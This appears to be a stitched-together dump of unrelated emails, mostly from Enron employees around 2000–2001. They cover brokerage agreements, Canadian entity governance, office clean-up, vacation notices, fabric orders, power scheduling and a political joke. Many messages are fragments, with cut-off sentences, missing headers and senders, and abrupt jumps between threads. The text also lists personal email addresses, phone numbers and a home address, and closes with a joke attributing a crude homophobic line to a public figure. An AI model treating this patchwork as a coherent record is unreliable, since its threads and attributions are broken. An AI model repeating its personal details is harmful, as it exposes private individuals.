connected and consider a future homecoming BETA reunion.  It's
incredible...forget the 20 years in between...everyone just seems to pick it
up right where they left off years ago.

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/

At Homecoming 2000, the BETA TENT had the biggest crowd by far.  Stay connected and consider a future homecoming BETA reunion.  It's incredible...forget the 20 years in between...everyone just seems to pick it up right where they left off years ago.

Sara:

How much protection do the agreements give us?  I have always assumed that they were primarily for the benefit of the brokers.  Of course, in the U.S. they are probably required by the SEC and in a country where they are not required you have to wonder how well the brokers are being policed by regulators.  I guess it makes sense to at least contact local counsel to find out what protections there are for the customer and whether or not it would be reasonable to ask for something in writing.  I don't think we need written opinions of counsel.  It might also make sense to explain to the business folks that we think there is incrementally greater legal risk in using those arrangements and that while they may be permitted to use them they should keep activities to a minimum where there is a more secure alternative.

Sorry for rambling.

Mark

Sent:	Tuesday, October 02, 2001 8:39 AM
To:	Taylor, Mark E (Legal)
Subject:	FW: Increase in Demand for Brokerage Agreements

Mark:  Can you please reply to (1) below?
Also, any ideas for help with brokerage agreements?

Sent:	Monday, September 24, 2001 6:26 PM
Subject:	Increase in Demand for Brokerage Agreements

Mark:  Please read the attached message.

(1)  Are there any issues with following the "custom" in countries not requiring an executed "executing brokerage agreement"?  Do we need to contact outside counsel in each country?

(2)  I anticipate that I will really need help on the brokerage agreement side.  I cannot keep up now on a "timely" basis.

Gary's world occupies about 50% of my time.
Enron Corp. occupies about 25% of my time.

From: 	Brogan, Theresa T.  
Sent:	Monday, September 24, 2001 6:04 PM
To:	Lowry, Donna; Schultz, Cassandra; Bradford, William S.; Shackleton, Sara
Cc:	Hickerson, Gary; Heard, Marie
Subject:	Metzler Capital Markets - Executing broker agreement

To all,
	We have expanded equity trading into the European Markets.  Along with that, you will see an increase of executing broker agreements that specialize in foreign equities.  We plan on executing a broker agreement with Metzler Capital Markets for the purposes of order flow and specialty in Italian equities.  Currently no documentation is required and we would still clear all transactions with our existing Primebrokers, Goldman, Morgan Stanley and Bear Stearns.  In addition, Metzler clears their transactions through Paribas Milan.  

Thanks,
Theresa

Thanks,

Cindy,

Can you copy me  also.  Greg does not check his emails regularly.

Thanks,

Liz

Cindy Stark@ENRON
03/27/2001 11:28 AM
To: Richard Causey/Corp/Enron@ENRON, Bob Butts/GPGFIN/Enron@ENRON, Mark 
Metts/NA/Enron, Tracy Geaccone/GPGFIN/Enron, Rod Hayslett/FGT/Enron, Greg 
Whalley/HOU/ECT@ECT, Mitchell Taylor/Enron@EnronXGate
cc:  
Subject: THURSDAY'S TRIP TO PORTLAND

Dress attire is now BUSINESS CASUAL!

Cindy

THE TIME HAS COME TO CLEAN HOUSE!!!!   PLEASE USE THE INFORMATION BELOW TO HELP YOU DETERMINE WHAT TO SAVE AND WHAT TO THROW AWAY.  

REMEMBER...YOU WILL ONLY BE TAKING AND PACKING FOUR (4) BOXES!!!!

Power Admin. Team

OPERATION CLEAN SWEEP

Dates:  		
Friday, October 19th
Friday, October 26th
Friday, November 2nd
Friday, November 9th 

Times:		
1 PM to 5 PM

Purpose:
Minimize packing for move to Enron Center South			
Disposal of all non-vital items			
Proper disposal of confidential/sensitive materials (shredding)			
Transfer of records to off-site storage			
Clean area/leave in good order

What to Consider:		
All items currently on floor 
Any extra/unused supplies
Outdated equipment
Files in file cabinets
All items currently stored in boxes
Posters, plants, pictures 

Disposal Options:	
Take home (pictures, plants, etc.)
Trash
Shred (all sensitive documents)
Archiving/Records Retention
Recycling 1) paper; 2) extra office supplies/equipment (to be donated to area schools)

Resources available:	
Trash Dumpsters
Paper recycle bins
Recycle/donation tables
			
Perhaps we could discuss this following the GC meeting tomorrow.  Jim

From: =09Crawford, Sharon   On Behalf Of Keohane, Peter
Sent:=09Tuesday, April 03, 2001 6:15 PM
To:=09Derrick Jr., James; Haedicke, Mark
Subject:=09Canadian Retail

Jim and Mark, as you know, we have established a retail affiliate within En=
ron Canada known as Enron Direct.  In addition, EES has a Canadian entity, =
EES Canada, which was established for the purposes of entering into some cr=
oss-border transactions in Canada.  For various reasons, it has been decide=
d to roll Enron Direct into EES Canada reporting, commercially, to Rob Miln=
thorp, who will in turn report to Dave Delainey.  There are two legal/gover=
nance-related issues that I wanted to raise with you:

1.=09Governance:  As a result, it will be necessary to make various corpora=
te re-organizations to EES Canada.  This will include having EES Canada est=
ablished as an Alberta corporation, where Enron Canada has, and Enron Direc=
t will have, its principal Canadian office.  In relation to this, I was con=
sidering that EES Canada should be organized consistent with Enron Canada, =
with two Canadian resident nominee directors and Canadian-resident officers=
.  A few years back, it was decided, for corporate law and, more importantl=
y, tax-related "permanent establishment" issues, that all directors and off=
icers of Enron Canada would be Canadian-resident employees of Enron Canada.=
  Accordingly, Enron Canada was re-organized with a nominee board of direct=
ors consisting of Rob Milnthorp (as the senior commercial employee) and me =
(as the senior legal employee) with a Canadian slate of officers being the =
Vice-Presidents or Managing Directors in Canada responsible for the various=
 commercial or commercial-support groups.  I was thinking of doing likewise=
 with EES Canada.  Although I have not yet obtained a copy of the corporate=
 records for EES Canada, I believe the current directors of EES Canada are =
Jim and an outside lawyer at Blake, Cassels & Graydon in Toronto, Ernest Mc=
Nee.  I am not sure, but it is also likely that various US-based employees =
of EES are designated as the officers of EES Canada.  Would it be appropria=
te to re-organize EES Canada along the same lines that Enron Canada has bee=
n organized, or do you have concerns?

2.=09Law Firm:  Following-up on our conversation last week, I want to confi=
rm that our continued use of Donahue Ernst & Young for this retail project =
was "grandfathered" on the basis that they were "up the learning curve" on =
a number of the contracting, regulatory, licensing and market participation=
 issues.  There is one twist, however, with respect to EES Canada.  Althoug=
h I was not involved, I believe that EES Canada was established to execute =
on some gas transactions in Ontario with the use of a Blakes partner in Tor=
onto, Ernest McNee.  However, as the focus of the business initiative in Ca=
nada will, at least in the near future, be more involved and predominantly,=
 if not entirely, in Alberta; and as Donahue Ernst & Young is involved in r=
egulatory proceedings on our behalf with respect to market design issues af=
fecting the Alberta gas and power markets, as well as being familiar with t=
he licensing and contracting requirements for Enron Direct in Alberta; and =
given my understanding that Blakes' involvement with EES Canada has been re=
latively limited, I think it would make sense to have Donahue Ernst & Young=
 continue on with this matter.  I am, however, sensitive to Jim's concerns,=
 and therefore wanted your thoughts on the matter.

Regards,
Peter

I will be taken a vacation day Tuesday Nov.20th if you have any questions please contact Sandy McNichols at 713-853-6766.

Thank you,
Adrial Boals

I'm very flexible on who comes along - no views at all on that score.  It 
would help to know the number and cabin sharing arrangement ahead of time so 
we can book the correct size boat.  You can always change the amount of 
groceries but at some point all the boats will be reserved.

I called Keswick last week and gave them my credit card number for the extra 
room - it looks great from the website.  Will you be golfing or should we 
make massage appointments?  Now that I think about it, I'm not sure which 
days we have reserved - another alternative might be to stay near DC on the 
day we get back from sailing (Inn at Little Washington?).  My guess is it's 
an all day affair getting from a little island to DC so we may get in pretty 
late.

Tell Amanda I said Hi!

Attached are EOL approvals for both today and yesterday.

Also, for future reference, please contact Wendi LeBrocq who will be assuming 
my duties as the EOL administrator within the Credit Risk Group.  Thanks!

As part of the 2002 Business Planning process for the NYISO, the Budget,
Standards, and Performance Subcommittee (BS&P) has prepared the attached draft
corporate goals for 2002 using the 2001 goals as a starting point.

As noted in the attached draft, some of the metrics on certain goals for 2002
have been modified and certain goals have been added or deleted.  The BS&P is
requesting input on this draft from all Market Participants.  You can e-mail
your comments to me at amatim@nimo.com.  We need your comments by May 15 in
order to finalize this draft as input to the internal NYISO Business Planning
process which starts June 1.

If you have questions or comments you wish to discuss, you can call me on
315-460-2550.

                                              Marty Amati
                                              Chair BS&P Subcommittee

(See attached file: 2002 Goals & Objectives - V1-BSP.pdf)

Thank you,
Denise
518-356-6184

Market Services
518-356-6060

 - 2002 Goals & Objectives - V1-BSP.pdf

Mark - I don't think you got this last week. My apologies,   I know Net Works 
does its own report, but you need to get this to review the Financial Trading 
portion.  Could you take a look at it today by any chance?

     Reminder
     
It is time to update the Monthly Report for Mark Haedicke to send to Jim 
Derrick.  Please use a hard copy of the attached February report to mark 
changes for transactions as of today.  

Remember to add outside counsel (the firm name) where appropriate.

Give your hard copy changes to Dina Snow by the end of the day Tuesday, March 
13.

Thanks!

I was wondering how to cancel an order on the website:  cubookstore.com.

I ordered 3 Big 12 championship hats and I checked the status today which shows backordered.  I want to cancel this order if I won't be able to get  them by Christmas.

I would appreciate any help.

Thanks,
Theresa Staab

Mike Gioffre
dgioffre@hotmail.com

From: "Lukawski, Chris" <clukawski@hitt-gc.com>
To: 'Mike Gioffre' <dgioffre@hotmail.com>
Date: Wed, 12 Sep 2001 09:50:13 -0400

Still here in DC.  Have you heard from anybody in NYC?

From: Mike Gioffre [mailto:dgioffre@hotmail.com]
Sent: Tuesday, September 11, 2001 5:01 PM
To: jarmy@bigwords.com; danielleacampora@aol.com; cbozzi@pemcor.com;
beltringham@strandcommunications.com; lbeth1972@yahoo.com;
sofiedolan@att.net; tds@ciminelli.net; cdolan@above.net;
benjamin.rogers@enron.com; jpenney@hollandlessard.com;
michelle.sautter@ibx.com; jverre99@hotmail.com;
elizabeth.sprich@marriott.com; Lukawski, Chris; pfarinas@TVSA.com
Subject:

is everyone alright?
i know alot of cu people live in nyc and dc, just sending an email to see if

you are all alright.

the system manager.

fyi...

----- Forwarded by Holly Keiser/ENRON_DEVELOPMENT on 05/09/2001 08:15 AM -----

	Jason Sherman/ENRON@enronXgate
	05/09/2001 08:09 AM
		 
		 To: Suzanne Adams/HOU/ECT@ECT, Connie 
Castillo/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Margaret 
Doucette/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Janette Elbertson/HOU/ECT@ECT, 
Kaye Ellis/HOU/ECT@ECT, Keegan Farrell/NA/Enron@Enron, Nita 
Garcia/NA/Enron@Enron, Carolyn George/Corp/Enron@ENRON, Esmeralda 
Gonzalez/ENRON@enronXgate, Vanessa Griffin/ENRON@enronXgate, Martha 
Keesler/ENRON@enronXgate, Holly Keiser/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Legal Temp 3/HOU/ECT@ECT, MaryHelen Martinez/NA/Enron@Enron, Rae 
Meadows/ENRON@enronXgate, Taffy Milligan/HOU/ECT@ECT, Linda J 
Simmons/HOU/ECT@ECT, Dina Snow/Corp/Enron@Enron, Becky Spencer/HOU/ECT@ECT, 
Twanda Sweet/HOU/ECT@ECT, Stephanie Truss/ENRON@enronXgate, Theresa 
Zucha/NA/Enron@Enron
		 cc: 
		 Subject: Ready To Go Program

Hey guys, there is a new program for people who travel frequently to make 
sure they are setup for remote access called Ready To Go. I thought it might 
be something you'd want to check out. Here is the link on the intranet 
explaining how it works: 
http://itcentral.enron.com/Data/Services/Ready2Go(NAonly)/. Remember when you 
schedule your people for appointments in the comment field put my name as 
your floor tech. That way they can track how successful the program is by 
floor. Thanks alot!

Jason Sherman
ENA Desktop Support
Office: (713) 345-7764
Email: Jason.Sherman@enron.com

Anita,

As previously discussed, please see the attached draft of a GISB.  Please let 

Regards,

This is to advise you that we have canceled next Wednesday's ETS Half Day Staff Meeting.    Our next meeting is scheduled for Wednesday, August 15, from 8:30AM to 1:00PM in 49C2.    We are taking a summer break to accommodate vacation schedules.

Don't hesitate to call me if you have any questions or concerns with this notice.

Thanks,
Cindy

Sara,

Yo, what's up?  How are things across the street?  Let me guess, you got all 
rested up saturday and sunday, then when out three nights already this week, 
and now are ready to go home, do laundry and sleep.  Unfortunately, I've been 
extremely lame, mostly because you got me sick...well maybe not.  Anyway, I 
haven't been feeling so hot, yet I did oversleep by two hours this morning 
which really helped.  Poor Ted had to pick the slack.  So, any big plans for 
the weekend besides laundry?  Superbowl?  Happy hour?  Toilet flushing into 
the phone?  Stupid drunk?  

Mat

I am thinking about coming from Houston for this meeting--- depending on the 
agenda. What is the agenda?

	"Jeffrey A. Krieger" <jkrieger@ggfcmk.com>
	04/20/2001 07:52 PM
		 
		 To: <pgurfein@akingump.com>, <jcrossen@apx.com>, <rberry@apx.com>, 
<rich.stevens@avistacorp.com>, <david.burns@bakerbotts.com>, 
<doug.anderson@calenergy.com>, <dag@dgdk.com>, <rkd@dgdk.com>, 
<richard.b.sanders@enron.com>, "Anne Marie DeFelice" <adefelice@ggfcmk.com>, 
"Cindy Stremmel" <cstremmel@ggfcmk.com>, "Garrett L. Hanken" 
<ghanken@ggfcmk.com>, "Jeffrey A. Krieger" <jkrieger@ggfcmk.com>, "Marc S. 
Cohen" <mcohen@ggfcmk.com>, <kjohan@ladwp.com>, <ceklund@llgm.com>, 
<dwhitley@llgm.com>, <jrnelson@llgm.com>, <mlubic@mdbe.com>, 
<zack.starbird@mirant.com>, <pmar@mofo.com>, <hweg@pgwlaw.com>, 
<david.facey@powerex.com>, <teresa.conway@powerex.com>, 
<rbeitler@sempratrading.com>, <awells@stroock.com>, <ayudkowsky@stroock.com>, 
<pjazayeri@stroock.com>, <bholman@whitecase.com>
		 cc: 
		 Subject: Next Participants' Committee Meeting

To:  The Participants' Committee:

The next meeting of the Participants' Committee will be this Tuesday, April 
24, 2001 at 10 a.m. P.D.T.    You can participate telephonically (call in 
number to follow on Monday) or appear in person at Greenberg Glusker in 
conference Room 21A (21st Floor).

Jeffrey A. Krieger
(310) 785-6869

www.ggfcmk.com

* Confidentiality Notice *

This message is intended solely for the use of the addressee(s) and is 
intended to be privileged and confidential within the attorney client 
privilege.  If you have received this message in error, please immediately 
notify the sender and delete all copies of this email message along with all 
attachments.  Thank you.

Attention: All Downtown Locations

Enron Center construction is crossing Smith St.

Contractors are now working on the structural supports for the new =01&Sky =
Ring=018=20
circular bridge which will connect the 2nd floor of the existing Enron=20
Buiding to the new Enron Center Campus.

Caution!

Public sidewalks along Smith and Bell Streets will be affected by=20
construction activity.  Pedestrians commuting to and from work will have=20
accessable routes along these streets but some restrictions are expected.

Please!

Exercise care when in the area.  Please watch where you walk, always stay=
=20
within designated walkways, obey traffic signals and police officers, and d=
o=20
not jaywalk.

Thank You

- The Building Guy

Shirley,

Vince

11/13/2000 10:21 AM
cc: Anita DuPont/NA/Enron@ENRON, Kevin G Moore/HOU/ECT@ECT 
Subject: Vacation

Vince:

I would like to take vacation next Tuesday and Wednesday, the 21st and
22nd?  

Please let me know if it is alright.  Anita will be here.

Thanks!

Shirley

I would like to request an additional 15 million var for gas.  Prices have 
exploded and I'm working on it.

Okay, here goes!

Robert Allen

Pattern:  Bearnson
Color:  Aged Gold
Price:  $65.90
Yardage:  17 yards 

Pattern:  Scholtes
Color:  Cinnabar
Price:  $80.50
Yardage:  18 yards

Pattern:  McGeary
Color:  Citron
Price:  $59.50
Yardage:  3-1/2 yards

Pattern:  Jungle Rhythm - we saw this at Expo and didn't know if we could order it here
Price:  $77.50 (at Expo)
Yardage:  1 yard

Schumacher

Pattern:  184180
Name:  Dior Toile
Color:  Onyx
Price:  $50.00
Yardage:  4 yards

Kravet

Pattern:  17392 - Shown Railroaded
Color:  30
Price:  $69.80 (at Expo)
Yardage:  8-1/2 yards

The shipping address would be:	8027 Oakwood Trace
				Houston, Texas  77002
				(713) 896-1673 - home #

Will there be a problem ordering this much fabric?  Also, will you know the amount of shipping, etc. charges so that we can pay for it up front?  I'll have to have my accountant (Anne) write a check or whatever method is needed.

Again, thanks so much for your help.  We really appreciate it!

Marie

From: 	Rossi, Robbi  
Sent:	Friday, October 19, 2001 10:57 AM

Marie,

  It's been slow - but I think its going to pick up.  Send me a list of what you want to purchase and from where - as well as the address where you want it shipped.  I will then firnd out pricing for you.  It may take a little longer with the Robert Allen stuff since I have to open an account there.  I do not anticipate any problems getting the account open.  Maybe we can have lunch early next week.  Let me know what day is good for you,

From: 	Heard, Marie  
Sent:	Friday, October 19, 2001 9:47 AM
To:	Rossi, Robbi
Subject:	

Hi, Robbi!

How are things going?  Any more news?

We have finally decided on our fabric and the amount of yardage.  What's the next step?

Thanks!

Marie

I have a paid registration to the DOE-NARUC conference up for grabs.  Does 
anybody want it?  First come, first serve!

gngr
----- Forwarded by Ginger Dernehl/NA/Enron on 10/26/2000 11:14 AM -----

	"DOE-NARUC Summit Team" <ibarreto@caem.org>
	10/25/2000 06:57 AM
	Please respond to ibarreto
		 
		 To: "North American Summit Stakeholder" <ibarreto@caem.org>
		 cc: 
		 Subject: DOE-NARUC North American Summit on Harmonizing Business Practices 
in Energy Restructuring: Early Registration Deadline

DOE and NARUC are hosting the North American Summit on Harmonizing Business
Practices in Energy Restructuring on November 29 to December 1 in Dallas.
More information is available at http://www.energymarkets.org.

Just a quick note to remind you that the early registration discount
deadline is Friday, October 27.  To register, go to
http://www.naruc.org/Meetings/NA_Summit/registration.htm.

Please forward this email to colleagues who may be interested in this event.

Dear Mark:  I'm helping Barbara Gray with the finalization of the GISB with El Paso Merchant Energy, L.P.

Barbara has approved El Paso's requested changes, Exhibit "B," and she will initial the document when it is in final form.  Please send me the info on Enron Compression Services that I'll need to fill in the front left side of the GISB.  I don't have their document in electronic form, but I hope that you do. 

Mary

Mary C. Ogden
Enron Corp./Legal
Phone:  713-853-7796
Mary.Ogden@enron.com

Houston voters are facing a very exciting election this year. You will help=
=20
decide who represents you in federal, state and county offices.  You will=
=20
also help decide the outcome of important referenda, including whether to=
=20
approve a new downtown arena.

Elections will be held Tuesday, November 7, 2000 from 7:00 a.m. to 7:00 p.m=
. =20
Precinct information is listed on your voter registration card.  If you don=
=01,t=20
have your card, you can turn to the Election Day edition of the Houston=20
Chronicle which will list Harris County precinct locations.  Precinct=20
information for other counties can be found by calling the numbers listed=
=20
below.

 Brazoria        979-864-1359
 Chambers     409-267-8309
 Ft. Bend        281-341-8670
 Galveston      409-766-2210=20
 Liberty  936-336-4670         =20
 Montgomery  936-536-7885
 Waller            979-826-7711
 For further information, call=20
   1-800-252-VOTE

Presidential, State and Federal legislative candidate information can be=20
found on-line through the following link:  http://congress.nw.dc.us/enron/
Additionally, Voters Guides for Harris County published by the League of=20
Women Voters are available at EB4706c.

Remember: =20
EVERY VOTE COUNTS!

---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 03/27/2000 

Michael Danielson
03/24/2000 12:44 PM
To: Elizabeth Sager/HOU/ECT@ECT, Rogers Herndon/HOU/ECT@ect, John 
Berger/HOU/ECT@ECT
cc:  
Subject: Valley Energy Contract

This is another aggregator that'll be participating in the TVA 5% program.  
They may have as much as 400MW of load.  We need to steer this contract in 
the same direction as the other ones. 

---------------------- Forwarded by Michael Danielson/HOU/ECT on 03/24/2000 
12:35 PM ---------------------------

"Jack W. Simmons" <infinergy@earthlink.net> on 03/24/2000 11:20:26 AM
To: michael.danielson@enron.com, elizabeth.sager@enron.com
cc:  

Mike Danielson
Elizabeth Sager

Attached are the documents Mike and I discussed.

1) Fact Sheet provided by TVA
2) Draft Master Purchase Agreement between Valley Energy and your company
3) Sample Confirmation Letter for Transactions under the Agreement

Valley Energy Corporation will be acting as purchase agent for an
aggregated group of TVA power distributors totaling about 400 MW.  We will
be purchasing blocks of 5 x 16 liquidated damages firm energy each week.
The minimum block size will be 25 MW delivered to the TVA control area.

The Draft Master Purchase Agreement reflects the requirements and
constraints placed on us as a participant in the TVA program.

Valley energy is in the process of obtaining a Line of Credit to satisfy
the credit requirements of our supplier counterparties.  We are also
interested in similar protection for situations where liquidated damages
may be due from our suppliers.

Please review the attached documents and provide me with feedback as soon
as possible.

Our objective is to be able to conduct business by April 6, 2000, which is
the first day TVA will allow us to participate.  Power purchased on April 6
would be for delivery beginning April 10, 2000.

Call if you have questions.

Thank you very much,

 - ValleyEnergyConfirmation.doc
 - masterpurchase-3-22-00.doc
 - FACT SHEET - WETM1.doc

Jack W. Simmons
Valley Energy Corporation
423 266 1885

The Weekly Management Report has been discontinued.  This is the last distribution for the attached Weekly Management Report above.  If you have any questions or concerns, please contact Torrey Moorer at x36218.

Due to size constraints on the Outlook System, the Public Report will no longer be distributed.  The report is still accessible directly through the EnronOnline Intranet Site at http://eolinfo.enron.com.

In order to access these report,  click on the link above. Once there, follow the link entitled "Reports" and then select the "Secured Reports" tab. A dropdown menu will appear with a list of the various secured reports available for viewing. After choosing the report you are interested in, a security window will appear requiring you to enter your Windows login ID and password. Simply enter your standard login and the report will load automatically.

We look forward to your feedback and comments. If you have any questions or experience any difficulties accessing your reports through the Intranet Site, please feel free to contact either Bryan Deluca at x36161 or Fraisy George at x35424.

Hey homes..
Got a message from who I thought was you and hoopties last weekend.. Hooptie left message that you and him wanted to talk to me? anyways returned the call but did not hear from you homies.. 

Anyways.. I had an extended vacation in Brazil due to the terrorist attacks,  we ended up staying there for a week and half.  Let me know how things are going.

PT

Kaye:  Please remind Mike and me if I end up serving on a jury next week.  SS

----- Forwarded by Sara Shackleton/HOU/ECT on 01/11/2001 01:27 PM -----

	Mike E Kelly@ENRON
	01/11/2001 12:03 PM
		 
		 To: Sara Shackleton/HOU/ECT@ECT, Edward Sacks/Corp/Enron@Enron, Edward D 
Baughman/HOU/ECT@ECT, Doug Sewell/HOU/ECT@ECT
		 cc: Oscar Dalton/HOU/ECT@ECT, Terri Clynes/HOU/ECT@ECT
		 Subject: ISDA Process Review

Folks,

We are confirmed for our meeting next Wednesday the 17th in room 3125b at 3 
pm.  To reiterate, the purpose of the meeting will be to clarify the 
procedures for implementing ISDA agreements with counterparties interested in 
financial derivative transactions.  The goal is for everyone to understand 
the process as it relates to different types of counterparties and to 
streamline the internal process wherever possible.

See you next week.

-Mike
ex 3-3947

I would like to take this as a vacation day.  Are there any conflicts?  

Is 3 cents enough,  I think 25% for brokering a deal is too much
---------------------- Forwarded by Greg Curran/CA/Enron on 06/25/2001 06:10 PM ---------------------------

William Mauco
06/25/2001 02:52 PM
To:	Greg Curran/CA/Enron@Enron
cc:	Ronald Pantin/Ventane/Enron@Enron 
Subject:	Re: GLP Puerto Rico   

Pdvsa just revert with their comments and economies.  There is a difference of
0.9 usc/gallon.  Main reason for this is that they have to use a vessel of only 8,500 MT
 in order to be able to use it for the LPG distribution in Venezuela as well.
 We are going to have a meeting next monday July 2nd to discuss the proposal.
With  their numbers Enron still could receive about 4 usc/g ( 3 for ProCaribe).

Regards,

William Mauc? 
  
Greg Curran
06/19/2001 07:03 PM
Sent by:	Greg Curran
To:	William Mauco/SA/Enron
cc:	 

How is this going

06/14/2001 12:02 PM
cc:	Paul YBarbo/Enron@EnronXGate, Ronald Pantin/Ventane/Enron@Enron 

Thanks for your comments.  I was just waiting on your approval to send the 
    information to Pdvsa ( without the proposal ), in order to reach with them
    an agreement on the incentives before proceeding with the negotiation.
    Eventhough I discussed with Paul these numbers I will contact him again
    to make sure he doesn?t have any further comments.

   I keep you posted,
   Regards,

   William Andr?s Mauc?    

06/13/2001 01:10 PM
cc:	Greg.Curran@enron.com, Paul YBarbo/Enron@EnronXGate, Ronald Pantin/Ventane/Enron@Enron, Federico Haeussler/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Well done and good luck.  When is your meeting?  Federico will you forward a copy of the Poten LPG study.  

William I do not know if you have read about the commitment PDVSA and the government have made to work together on energy issues but the President of the company was in PR last week and perhaps this could be spun into a good public relations move for PR and PDVSA.  In addition you should mention the amount of LPG that came from Africa into this terminal last year and that this deal could reduce the risk of this happening in the future.   Paul has this information.  

Thanks GSVC

06/12/2001 05:22 PM
To:	Greg.Curran@enron.com, Paul YBarbo/Enron@EnronXGate
Subject:	GLP Puerto Rico

Greg and Paul, please find attached a draft of the material to be use 
   in the meeting with Pdvsa.   The main variation of these numbers 
   with the latest Paul?s spreadsheet, are the Vessels Cost per day ,which
   I have adjusted according to the market indications given to one
   of the ship brokers being used by Pdvsa ( Marino Shipping Routes C.A).
    
   There are some information still missing about the terminals , which I appreciate
    that you find for me.

    I have agreed with Pdvsa to exchange all the information (without any Proposal)
    and once we have an agreement on the numbers ,then we will proceed with
    the negotiation of the proposal.
    
    Please review and reply to proceed accordingly.

   Regards,

Can you provide the storage inventory update (the file version is fine) for both Entex and Bear Creek so I can revise our numbers before we talk to Entex about negotiating an early termination.  Tomorrow morning is fine.

Thanks

Start Date: 4/24/01; HourAhead hour: 16;  No ancillary schedules awarded.  

Schedules\2001042416.txt

     Details: (Hour: 16 / Preferred:   0.00 / Final:   0.00)
  SC_ID: EES
  TRANS_DATE: 4/24/01
  UNIT_ID: BADLND_7_PL1X2

     Details: (Hour: 16 / Preferred: -600.00 / Final: -599.97)
  TRADING_SC: NES1
  DEAL_NO: 1

     Details: (Hour: 16 / Preferred:   0.53 / Final:   0.37)
  LOAD_ID: PGE1

Hi Shirley, please give me a few dates form end of march to first week in 
April to do an offsite for Vince's direct reports (including myself) and 
selected EBS research people. This includes, Vince direct report from our 
research group and the following people from EBS Research:

Ravi, Stinson, Samer, Chinowee.

The agenda will include: Research people giving several mini presentations on 
Trading, market development (history of Nat gas, Electricity, etc.), pricing, 
etc...

John's people will do similar mini presentations on Optical Network 
engineering, optical components, provisioning, telecom markets, pricing, 
etc.... 
If Scott Yeager can make it, he will do his magic via quick motivational 
speech on the vision of EBS, etc..

It is will be strictly Technical to Technical professional meeting to get to 
know each others group. So, do not include others unles Stinson or I look at 
the additions case-by-case.

John suggested Scott Yeager's summar house in Denver for this event.  Please 
follow this up with Scott's assistant (Scott may not know about this if John 
has not told him so you should explain the intend, etc.) to get in touch with 
Scott.  I'll cc this e-mail to give Scott a heads up.

We can do half day friday and all day saturday. Or, we can do the whole 
weekend and people will have an option to bring family to nearby hotel 
(family expense in NOT on EBS). We will have to sort all this out when we 
have a chance to talk to John & Scott.

I just wanted to get the ball rolling but getting dates and place first.  

Thanks,

Ravi.

Hi 

Can you make sure we sent a copy of the Newport presentation to him.  Thanks
----- Forwarded by Elizabeth Sager/HOU/ECT on 05/14/2001 09:49 AM -----

	"Kazue Tabo" <tabo@xf6.so-net.ne.jp>
	05/11/2001 01:49 PM
		 
		 To: <Elizabeth.sager@enron.com>
		 cc: 
		 Subject: About your presentation in EEI workshop

Dear Ms. Sager,
?
This is one of the attendance of EEI Power Marketing Transactions workshop  
on April 18, 19.? 
Thank you for your presentation,?it was very helpful to me and I  really 
enjoyed it.
I asked you to send me the documents of your presentation ( your first  
presentation on April 18) 
by mail or e-mail, and you said you would do that.
I know you are so busy, but if it's possible, would you kindly  send?them by 
mail or e-mail below?
I look forward to your kind reply.
?
?
Kazue Tabo
?
******************************************
? KAZUE?  TABO
? Japan Electric Power Information Center. Inc.
?  Washington Office
? 1120 Connecticut Avenue, N.W.
? Suite  1070
? Washington, D.C. 20036 U.S.A.
? TEL:  (202)955-5610
? FAX: (202)955-5612
? e-mail: tabo@xf6.so-net.ne.jp

Sara:

I received a call from Mega today.  That financial gas/power deal could come 
together today.  Attached is the draft confirm you prepared.  Let me know 
ASAP if you have any "issues" with closing this deal pursuant to the language 
you prepared.  I will contact you immediately if it closes.

Thanks!

Chris

As most of you know, I will be out of the office from this Wednesday at 11:30 
a.m. through Friday, July 28,2000.  I am attaching a listing of pending 
projects showing status of completion.  While I believe all is under control, 
I am leaving you the attached in case you need to find any documents in my 
files for further action prior to my return.  Everything that I have pending 
is located in the hanging files by the window, under one of the following 
subject headings:

Storage
Transmission
Offshore
Assets
Third Party Transport

Pat should be able to help find anything you need in my files (computer and 
physical).

Steve

Return-Path: <felicity.mackay@intel.com>
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From: "Mackay, Felicity" <felicity.mackay@intel.com>
To: "Sundstrom, Bjorn S" <bjorn.s.sundstrom@intel.com>,        "Julie Lewis 
(E-mail)" <julie.lewis@cmck.com>
Cc: "Sheets, Brian D" <brian.d.sheets@intel.com>,        "Marcin, MelissaX"  
<melissax.marcin@intel.com>,        "Michelle Fasching (E-mail)"  
<m_fasching@yahoo.com>,        "Kelly, Shane D" 
<shane.d.kelly@intel.com>,        "Sven Trautmann (E-mail)" 
<sven@globedesign.com>,        "Tim Brenner (E-mail)"  
<tim_brenner@mentorg.com>,        "Una Kim (E-mail)" 
<unakim1@yahoo.com>,        "Una Maher (E-mail)" 
<una_maher@yahoo.com>,        "Dale Parker (E-mail)"  
<dparker2@uswest.net>,        "Dibble Erik (E-mail)" 
<erikvd@sportsmail.com>,        "Elizah Mayhem (E-mail)" 
<lillahmay@aol.com>,        "Julie Lewis (E-mail)"  
<julie.lewis@cmck.com>,        "Nir Hamzani (E-mail)" 
<nir_h@netvision.ner.il>,        "Diana Fusco (E-mail)" <haus2@hotmail.com>,  
      "Doreen Samuel (E-mail)"  <samuelp@cardiff.ac.uk>,        "Tom Gregg 
(E-mail)" <tgregg@MAHLUM.com>
Subject:  in-depth answers to an age old question
Date: Mon, 6 Nov 2000 15:37:53 -0800
Return-Receipt-To: "Mackay, Felicity" <felicity.mackay@intel.com>
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

WHY DID THE CHICKEN CROSS THE ROAD?

VICE PRESIDENT GORE
I fight for the chickens and I am fighting for the chickens right now.
I will not give up on the chickens crossing the road! I will fight for the
chickens and I will not disappoint them.

GOVERNOR GEORGE W. BUSH
I don't believe we need to get the chickens across the road. I say
give the road to the chickens and let them decide when and how they
want to cross the road. The government needs to stop interfering with the
chickens so they can cross the road.

SENATOR LIEBERMAN
I believe that every chicken has the right to worship their God in
their own way. Crossing the road is a spiritual journey and no
chicken should be denied the right to cross the road in their own way.

SECRETARY CHENEY
Chickens are big-time animals because they have wings. They could
fly if they wanted to. Chickens don't want to cross the road. They
don't need help crossing the road. In fact, I'm not interested in crossing
the
road myself.

RALPH NADER
Chickens are misled into believing there is a road by the evil
tiremakers. Chickens aren't ignorant, but our society pays
tiremakers to create the need for these roads and then lures chickens
into believing there is an advantage to crossing them. Down with the
roads, up with chickens.

PAT BUCHANAN
To steal a job from a decent, hardworking American.

JERRY FALWELL
Because the chicken was gay! Isn't it obvious?
Can't you people see the plain truth in front of your face?
